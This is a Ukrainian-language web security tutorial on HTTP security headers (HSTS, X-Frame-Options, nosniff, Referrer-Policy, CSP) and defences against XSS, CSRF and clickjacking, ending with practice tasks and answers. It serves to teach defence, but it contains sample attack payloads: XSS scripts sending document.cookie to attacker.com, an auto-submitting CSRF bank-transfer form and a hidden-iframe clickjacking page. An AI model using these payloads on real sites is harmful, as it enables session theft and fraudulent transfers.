HTTP Strict Transport Security (HSTS) є механізмом, який примусово встановлює HTTPS для всіх майбутніх запитів до домену, навіть якщо користувач вводить URL з http:// або переходить за HTTP-посиланням. Це захищає від атак типу SSL Stripping та Protocol Downgrade, де зловмисник (наприклад, у публічному Wi-Fi) перехоплює початковий HTTP-запит та не дозволяє відбутися перенаправленню на HTTPS.
Механізм роботи HSTS
Крок 1: Користувач вперше відвідує сайт через HTTPS (наприклад, https://example.com).
Крок 2: Сервер повертає заголовок HSTS:
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Type: text/html
Крок 3: Браузер зберігає політику HSTS для цього домену на 31536000 секунд (1 рік).
Крок 4: Користувач вводить http://example.com в адресний рядок або переходить за HTTP-посиланням.
Крок 5: Браузер автоматично перетворює запит на HTTPS до надсилання запиту на сервер. Жодного HTTP-запиту не відбувається — це client-side redirect.
Крок 6: Браузер завантажує сторінку через https://example.com, захищаючись від SSL Stripping.
Директиви HSTS
max-age=<секунди> — тривалість, протягом якої браузер повинен примусово використовувати HTTPS.
Strict-Transport-Security: max-age=63072000
2 роки (63072000 секунд). Після закінчення терміну браузер забуває політику HSTS та знову дозволяє HTTP.
includeSubDomains — застосувати HSTS до всіх субдоменів.
Strict-Transport-Security: max-age=31536000; includeSubDomains
Якщо встановлено для example.com, також застосовується до api.example.com, www.example.com, blog.example.com тощо.
Якщо у вас є субдомени, які не підтримують HTTPS, додавання
includeSubDomains зробить їх недоступними. Переконайтеся, що всі субдомени налаштовані з SSL-сертифікатами перед використанням цієї директиви.preload — підготовка до включення у HSTS Preload List.
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
HSTS Preload List — список доменів, вбудований у браузери (Chrome, Firefox, Safari, Edge), для яких HTTPS є обов'язковим навіть при першому відвідуванні. Це вирішує проблему "першого запиту" (trust-on-first-use), коли користувач ще не отримав HSTS-заголовок.
Додавання до Preload List:
Відвідайте hstspreload.org, перевірте відповідність вимогам та відправте домен на включення.
Вимоги для preload:
- Дійсний HTTPS-сертифікат.
- Перенаправлення всього HTTP-трафіку на HTTPS.
- Всі субдомени повинні підтримувати HTTPS (
includeSubDomains). max-ageмінімум 1 рік (31536000 секунд).- Заголовок HSTS на базовому домені з
preload.
Приклад атаки SSL Stripping та захист HSTS
Сценарій: Користувач у публічному Wi-Fi кафе вводить example.com (без https://).
Без HSTS:
- Браузер надсилає
http://example.com. - Зловмисник (MitM у Wi-Fi) перехоплює запит.
- Зловмисник підміняє відповідь, не дозволяючи перенаправленню на HTTPS.
- Користувач залишається на HTTP, весь трафік читає зловмисник.
З HSTS (після першого HTTPS-відвідування):
- Користувач вводить
http://example.com. - Браузер до надсилання запиту перетворює на
https://example.com(згідно збереженої політики HSTS). - З'єднання встановлюється через TLS.
- Зловмисник не може втрутитися, оскільки жодного HTTP-запиту не було.
Відключення HSTS (для тестування)
Якщо під час розробки потрібно тимчасово відключити HSTS:
У браузері:
- Chrome:
chrome://net-internals/#hsts→ Delete domain security policies. - Firefox:
about:preferences#privacy→ Certificates → View Certificates → Servers → Видалити домен.
На сервері: встановити max-age=0:
Strict-Transport-Security: max-age=0
Браузер негайно забуде політику HSTS для цього домену.
X-Frame-Options — Захист від Clickjacking
Clickjacking (також відомий як UI Redressing) — це атака, де зловмисник вбудовує легітимний сайт у прозорий або прихований <iframe> на своєму сайті та обманом змушує користувача клікати на елементи, які насправді взаємодіють з прихованою сторінкою. Наприклад, зловмисник може створити фальшиву кнопку "Отримати подарунок", яка насправді розміщена над кнопкою "Підтвердити переказ" у банківському застосунку у прихованому iframe.
Заголовок X-Frame-Options інструктує браузер, чи дозволено вбудовувати сторінку у <iframe>, <frame>, <embed> або <object>.
Значення X-Frame-Options
1. DENY — повна заборона вбудовування
X-Frame-Options: DENY
Сторінка не може бути вбудована у iframe, навіть на тому самому домені.
2. SAMEORIGIN — дозвіл лише для того самого origin
X-Frame-Options: SAMEORIGIN
Сторінка може бути вбудована у iframe лише сторінками з того самого origin (схема, домен, порт співпадають).
Приклад: Сторінка https://example.com/dashboard може бути вбудована у iframe на https://example.com/main, але не на https://another-site.com.
3. ALLOW-FROM uri — дозвіл для конкретного URI (застаріле)
X-Frame-Options: ALLOW-FROM https://trusted-partner.com
Дозволяє вбудовування лише з вказаного URI. Застаріле та не підтримується більшістю браузерів. Використовуйте CSP frame-ancestors замість цього.
Рекомендації використання
Для більшості застосунків:
X-Frame-Options: DENY
або
X-Frame-Options: SAMEORIGIN
Для сучасних застосунків (з CSP):
Використовуйте CSP frame-ancestors замість X-Frame-Options:
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors https://trusted-partner.com
frame-ancestors є сучаснішим, гнучкішим та підтримує кілька джерел.
Якщо присутні обидва заголовки (
X-Frame-Options та CSP frame-ancestors), більшість браузерів віддають пріоритет CSP. Проте для підтримки старих браузерів рекомендується додавати обидва.X-Content-Type-Options — Захист від MIME Sniffing
Деякі браузери намагаються автоматично визначити тип контенту (MIME type) файлу, ігноруючи заголовок Content-Type, надісланий сервером. Це називається MIME Sniffing або Content Sniffing. Наприклад, якщо сервер надсилає файл з Content-Type: text/plain, але браузер виявляє HTML-теги у вмісті, він може інтерпретувати файл як HTML та виконати вбудовані скрипти.
Це створює вразливість, коли зловмисник завантажує файл з HTML/JavaScript-кодом, замаскованим під зображення або текстовий файл. Якщо сервер некоректно встановлює Content-Type, браузер може виконати зловмисний код.
Заголовок X-Content-Type-Options:
X-Content-Type-Options: nosniff
Інструктує браузер суворо дотримуватися заголовка Content-Type, надісланого сервером, та не намагатися визначити тип контенту автоматично.
Приклад:
Без nosniff:
HTTP/1.1 200 OK
Content-Type: text/plain
<html><script>alert('XSS')</script></html>
Деякі старі браузери можуть інтерпретувати це як HTML та виконати скрипт.
З nosniff:
HTTP/1.1 200 OK
Content-Type: text/plain
X-Content-Type-Options: nosniff
<html><script>alert('XSS')</script></html>
Браузер інтерпретує як текст, скрипт не виконується.
Рекомендація:
Завжди додавайте X-Content-Type-Options: nosniff до всіх відповідей.
Referrer-Policy — Контроль передачі Referer
Заголовок Referer автоматично додається браузером до запитів та містить URL сторінки, з якої користувач перейшов за посиланням. Це корисно для аналітики та захисту від CSRF, але може розкривати чутливу інформацію, наприклад:
- Повний URL з параметрами сесії:
https://app.example.com/dashboard?sessionId=abc123&userId=42 - Внутрішні шляхи:
https://admin.example.com/secret-reports
Referrer-Policy дозволяє контролювати, скільки інформації передається у заголовку Referer.
Значення Referrer-Policy
| Політика | Опис | Приклад |
|---|---|---|
no-referrer | Ніколи не надсилати Referer | Ніякого заголовка |
no-referrer-when-downgrade (за замовчуванням) | Надсилати, якщо не downgrade з HTTPS на HTTP | Referer: https://example.com/page |
origin | Надсилати лише origin (без шляху) | Referer: https://example.com |
origin-when-cross-origin | Повний URL для same-origin, лише origin для cross-origin | Same-origin: https://example.com/pageCross-origin: https://example.com |
same-origin | Надсилати лише для same-origin запитів | Same-origin: https://example.com/pageCross-origin: немає заголовка |
strict-origin | Лише origin, не надсилати при downgrade | Referer: https://example.com |
strict-origin-when-cross-origin | Повний URL для same-origin, origin для cross-origin, не надсилати при downgrade | Рекомендовано для більшості застосунків |
unsafe-url | Завжди повний URL (небезпечно) | Referer: https://example.com/page?secret=abc |
Приклад:
HTTP/1.1 200 OK
Referrer-Policy: strict-origin-when-cross-origin
Content-Type: text/html
Рекомендація:
Використовуйте strict-origin-when-cross-origin або no-referrer для захисту приватності.
Типові вектори атак та методи захисту
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) є однією з найпоширеніших та найнебезпечніших вразливостей веб-застосунків. XSS виникає, коли зловмисник може впровадити шкідливий JavaScript-код у веб-сторінку, який виконується у браузері жертви. Існує три основні типи XSS-атак: Reflected XSS (відображений), Stored XSS (збережений) та DOM-based XSS (на основі DOM).
Reflected XSS (Відображений XSS)
Шкідливий код передається через параметри URL та відображається у відповіді сервера без належної санітизації.
Приклад вразливого коду (концептуальний):
<!-- Сервер повертає HTML з необробленим параметром -->
<h1>Результати пошуку для: {{query}}</h1>
URL зловмисника:
https://vulnerable.com/search?query=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Результат: Скрипт виконується, викрадає cookies користувача та надсилає зловмиснику.
Stored XSS (Збережений XSS)
Шкідливий код зберігається у базі даних (наприклад, у коментарі, профілі користувача) та відображається кожному, хто переглядає цю сторінку.
Приклад: Зловмисник залишає коментар:
Дякую за статтю! <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
Кожен, хто відкриє сторінку з цим коментарем, буде перенаправлений на сайт зловмисника з надісланими cookies.
DOM-based XSS
Шкідливий код виконується через маніпуляції з DOM без взаємодії з сервером.
Приклад вразливого JavaScript:
// Отримання параметра з URL
const params = new URLSearchParams(window.location.search);
const username = params.get('name');
// Вразливе вставлення у DOM
document.getElementById('welcome').innerHTML = 'Вітаємо, ' + username;
URL зловмисника:
https://vulnerable.com/profile?name=<img src=x onerror="alert(document.cookie)">
Результат: Браузер виконує onerror handler, який викрадає cookies.
Захист від XSS
1. Санітизація та екранування вводу (Input Validation and Output Encoding)
Ніколи не довіряйте користувацькому вводу. Завжди екрануйте HTML-спецсимволи перед виведенням на сторінку.
Екранування у Go (концептуальний приклад):
import "html/template"
// Безпечний шаблон (автоматичне екранування)
tmpl := template.Must(template.New("page").Parse(`
<h1>Результати для: {{.Query}}</h1>
`))
data := map[string]interface{}{
"Query": userInput, // Автоматично екранується: < стає <
}
tmpl.Execute(w, data)
2. Content Security Policy (CSP)
Налаштуйте суворі CSP-політики, що блокують inline-скрипти та eval():
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'; object-src 'none'
3. HttpOnly cookies
Встановіть HttpOnly для автентифікаційних cookies, щоб вони були недоступні через document.cookie:
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
4. Використання безпечних API
Замість innerHTML використовуйте textContent або createTextNode():
// Небезпечно
element.innerHTML = userInput;
// Безпечно
element.textContent = userInput;
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) — це атака, де зловмисник змушує автентифікованого користувача виконати небажану дію на довіреному сайті без його відома. CSRF експлуатує той факт, що браузер автоматично додає cookies до кожного запиту, навіть якщо запит ініційований зловмисним сайтом.
Приклад CSRF-атаки
Сценарій: Користувач автентифікований на https://bank.com через session cookie.
Зловмисний сайт https://attacker.com містить:
<html>
<body>
<h1>Вітаємо! Отримайте подарунок!</h1>
<form id="csrf" action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker-account">
<input type="hidden" name="amount" value="10000">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
Коли користувач відкриває attacker.com:
- Форма автоматично відправляється на
bank.com/transfer. - Браузер автоматично додає session cookie користувача.
- Банківський сервер бачить валідну сесію та виконує переказ.
Захист від CSRF
1. CSRF-токени (Synchronizer Token Pattern)
Сервер генерує унікальний непередбачуваний токен для кожної сесії або форми та вбудовує його у форму. При обробці POST-запиту сервер перевіряє, чи співпадає токен.
Приклад (концептуальний):
HTML-форма з CSRF-токеном:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="random-unpredictable-value-abc123">
<input type="text" name="to">
<input type="number" name="amount">
<button type="submit">Переказати</button>
</form>
Перевірка на сервері (Go концептуально):
func HandleTransfer(c *gin.Context) {
csrfToken := c.PostForm("csrf_token")
sessionToken := c.GetHeader("X-CSRF-Token") // або з сесії
if csrfToken != sessionToken {
c.JSON(403, gin.H{"error": "Invalid CSRF token"})
return
}
// Виконати переказ
}
Зловмисник на attacker.com не знає правильного CSRF-токена, оскільки він генерується індивідуально для кожної сесії та недоступний через Same-Origin Policy.
2. SameSite Cookie Attribute
Встановіть SameSite=Strict або SameSite=Lax для автентифікаційних cookies:
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly
SameSite=Strict: Cookie не надсилається у запитах, ініційованих з інших сайтів (навіть при переході за посиланням).
SameSite=Lax: Cookie надсилається у навігаційних GET-запитах (перехід за посиланням), але не у POST, PUT, DELETE з інших сайтів. Це блокує більшість CSRF-атак, зберігаючи UX.
3. Перевірка Origin та Referer
Перевіряйте заголовки Origin або Referer у запитах на зміну стану:
func ValidateOrigin(c *gin.Context) bool {
origin := c.GetHeader("Origin")
referer := c.GetHeader("Referer")
allowedOrigins := []string{"https://bank.com", "https://app.bank.com"}
for _, allowed := range allowedOrigins {
if origin == allowed || strings.HasPrefix(referer, allowed) {
return true
}
}
return false
}
4. Вимагати кастомні заголовки
Для AJAX-запитів вимагайте кастомний заголовок (наприклад, X-Requested-With: XMLHttpRequest). Браузер не дозволяє зловмисному сайту додавати кастомні заголовки до cross-origin запитів без CORS-дозволу.
Clickjacking
Clickjacking (UI Redressing) — атака, де зловмисник вбудовує легітимний сайт у прозорий iframe та обманом змушує користувача клікати на приховані елементи.
Приклад Clickjacking-атаки
Зловмисний сайт:
<html>
<head>
<style>
#decoy-button {
position: absolute;
top: 200px;
left: 300px;
z-index: 1;
}
#hidden-iframe {
position: absolute;
top: 150px;
left: 250px;
opacity: 0.0001; /* Майже невидимий */
z-index: 2;
width: 500px;
height: 300px;
}
</style>
</head>
<body>
<button id="decoy-button">Отримати подарунок!</button>
<iframe id="hidden-iframe" src="https://bank.com/confirm-transfer"></iframe>
</body>
</html>
Користувач бачить кнопку "Отримати подарунок!", але насправді клікає на прихований iframe з банківським підтвердженням переказу.
Захист від Clickjacking
1. X-Frame-Options
X-Frame-Options: DENY
або
X-Frame-Options: SAMEORIGIN
2. CSP frame-ancestors
Content-Security-Policy: frame-ancestors 'none'
3. Frame-busting JavaScript (застаріле, ненадійне)
if (top !== self) {
top.location = self.location;
}
Цей підхід може бути обійдений, тому CSP та X-Frame-Options є кращими варіантами.
Узагальнення: Комплексна конфігурація безпеки
Приклад заголовків безпеки для сучасного веб-застосунку:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
# HTTPS та HSTS
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
# Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests
# Захист від Clickjacking
X-Frame-Options: DENY
# MIME Sniffing захист
X-Content-Type-Options: nosniff
# Referrer Policy
Referrer-Policy: strict-origin-when-cross-origin
# CORS (для API endpoint)
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Vary: Origin
# Cookies з безпечними атрибутами
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600
<!DOCTYPE html>
<html>
<head>
<title>Secure Application</title>
<script nonce="random123" src="/js/app.js"></script>
</head>
<body>
<h1>Захищений застосунок</h1>
</body>
</html>
🛡️ CORS
Ключові принципи:
- Валідуйте
Originпроти білого списку - Ніколи
*з credentials - Використовуйте
Access-Control-Max-Ageдля кешування preflight - Додавайте
Vary: Originдля CDN/проксі
🔒 CSP
Мінімальна політика:
default-src 'none'— блокувати все за замовчуваннямscript-src 'self'— лише власні скриптиobject-src 'none'— блокувати плагіниframe-ancestors 'none'— захист від Clickjacking- Використовуйте nonce для inline-скриптів
🔐 HSTS
Налаштування:
max-age=31536000(1 рік мінімум)includeSubDomainsякщо всі субдомени на HTTPSpreloadдля включення у браузерний список- Додайте домен на hstspreload.org
🍪 Cookies
Безпечні атрибути:
HttpOnly— захист від XSSSecure— лише через HTTPSSameSite=Strict/Lax— захист від CSRF- Мінімальний
Max-Age
Контрольні питання
Завдання: Ваш API на https://api.example.com повинен приймати автентифіковані запити (з cookies) від фронтенду на https://app.example.com. Напишіть повний набір CORS-заголовків для:
a) Preflight OPTIONS-відповіді
b) Фактичної GET-відповіді
a) Preflight OPTIONS-відповідь:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400
Vary: Origin
Date: Sat, 29 Aug 2026 14:00:00 GMT
b) Фактична GET-відповідь:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Vary: Origin
Content-Length: 234
{"id":42,"email":"user@example.com","data":"..."}
Критичні моменти:
- Конкретне джерело, а не
*, оскільки використовуються credentials. Access-Control-Allow-Credentials: trueу обох відповідях.Vary: Originдля коректного кешування на CDN.Access-Control-Max-Age: 86400кешує preflight на 1 день.
::
Завдання: Створіть CSP-політику для SPA-застосунку з наступними вимогами:
- Скрипти лише з власного домену
- Стилі з власного домену + Google Fonts
- Зображення з власного домену, data URLs та HTTPS-CDN
- AJAX лише до власного API на субдомені
- Повна заборона iframe
- Блокування inline-скриптів без nonce
Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-RANDOM_VALUE'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests
Пояснення директив:
default-src 'none'— блокувати все за замовчуванням.script-src 'self' 'nonce-RANDOM_VALUE'— власні скрипти + inline з nonce.style-src 'self' https://fonts.googleapis.com— власні + Google Fonts.font-src 'self' https://fonts.gstatic.com— власні шрифти + Google.img-src 'self' data: https:— власні зображення, data URLs, будь-які HTTPS.connect-src 'self' https://api.example.com— AJAX до власного origin та API.frame-ancestors 'none'— заборона вбудовування у iframe.base-uri 'self'— заборона зміни базового URI.form-action 'self'— форми лише на власний origin.object-src 'none'— блокування Flash та інших плагінів.upgrade-insecure-requests— автоматичний апгрейд HTTP → HTTPS.
Завдання: Ваш банківський застосунок має endpoint /transfer (POST), який виконує перекази коштів. Опишіть три різні методи захисту від CSRF-атак з RAW HTTP-прикладами.
Метод 1: CSRF-токени
HTML-форма з токеном:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="crypto-random-unpredictable-abc123xyz">
<input name="to" placeholder="Рахунок отримувача">
<input name="amount" placeholder="Сума">
<button type="submit">Переказати</button>
</form>
Запит:
POST /transfer HTTP/1.1
Host: bank.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionId=user-session-abc
csrf_token=crypto-random-unpredictable-abc123xyz&to=recipient-account&amount=5000
Сервер перевіряє: Токен з форми співпадає з токеном у сесії користувача.
Метод 2: SameSite Cookies
Встановлення session cookie:
Set-Cookie: sessionId=user-session-abc; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600
Результат: Браузер не надсилає cookie у POST-запитах, ініційованих з інших сайтів. CSRF-атака з attacker.com не матиме автентифікації.
Метод 3: Перевірка Origin/Referer
Запит від легітимного фронтенду:
POST /transfer HTTP/1.1
Host: bank.com
Origin: https://bank.com
Referer: https://bank.com/dashboard
Cookie: sessionId=user-session-abc
{"to":"recipient-account","amount":5000}
Запит від зловмисника (буде заблокований сервером):
POST /transfer HTTP/1.1
Host: bank.com
Origin: https://attacker.com
Referer: https://attacker.com/fake-page
Cookie: sessionId=user-session-abc
{"to":"attacker-account","amount":10000}
Сервер перевіряє:
origin := r.Header.Get("Origin")
if origin != "https://bank.com" && origin != "https://app.bank.com" {
http.Error(w, "Invalid Origin", http.StatusForbidden)
return
}
Комбінований підхід (найкращий):
Використовуйте всі три методи одночасно для максимального захисту: SameSite cookies + CSRF-токени + перевірка Origin.
::
Додаткові ресурси
- OWASP Top 10 — список найнебезпечніших вразливостей веб-застосунків.
- MDN Web Docs: CORS — детальна документація з прикладами.
- Content Security Policy Reference — повний довідник CSP-директив.
- HSTS Preload List — офіційний сайт для додавання доменів до preload list.